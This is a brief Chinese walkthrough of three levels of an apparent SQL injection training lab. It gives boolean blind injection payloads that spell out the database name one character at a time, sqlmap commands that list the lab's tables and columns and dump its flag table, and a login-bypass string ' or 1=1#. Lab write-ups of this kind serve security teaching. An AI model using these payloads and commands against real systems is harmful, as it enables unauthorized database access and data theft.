第一关
1 and 1=1 //正常
1 and 1=2 //空,数字型盲注
这里为了节约时间,用bp爆破
1 and length(database())=12,当前数据库长度为12
1+and+ascii(substr(database(),1,1))+=107 //第一位为k
1+and+ascii(substr(database(),2,1))+=97 //第二位为a
1+and+ascii(substr(database(),3,1))+=110 //第二位为n
1+and+ascii(substr(database(),4,1))+=119 //第四位w
1+and+ascii(substr(database(),5,1))+=111 o
1+and+ascii(substr(database(),6,1))+=108 l
1+and+ascii(substr(database(),7,1))+=111 o
1+and+ascii(substr(database(),8,1))+=110 n
1+and+ascii(substr(database(),9,1))+=103 g
1+and+ascii(substr(database(),10,1))+=120 x
1+and+ascii(substr(database(),11,1))+=105 i
1+and+ascii(substr(database(),12,1))+=97 a//得到数据库名kanwolongxia
到这里就用sqlmap了,不在手工了,要劳逸结合嘛,手工太累了
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia --table可以看到得出了三个表,继续爆字段
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag --columns
爆字段的值
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag -C flaglo --dump
第二关
跟上面的一样,把单引号换成双引号即可
sqlmap也一样
第三关
1’ or 1=1# //万能密码即可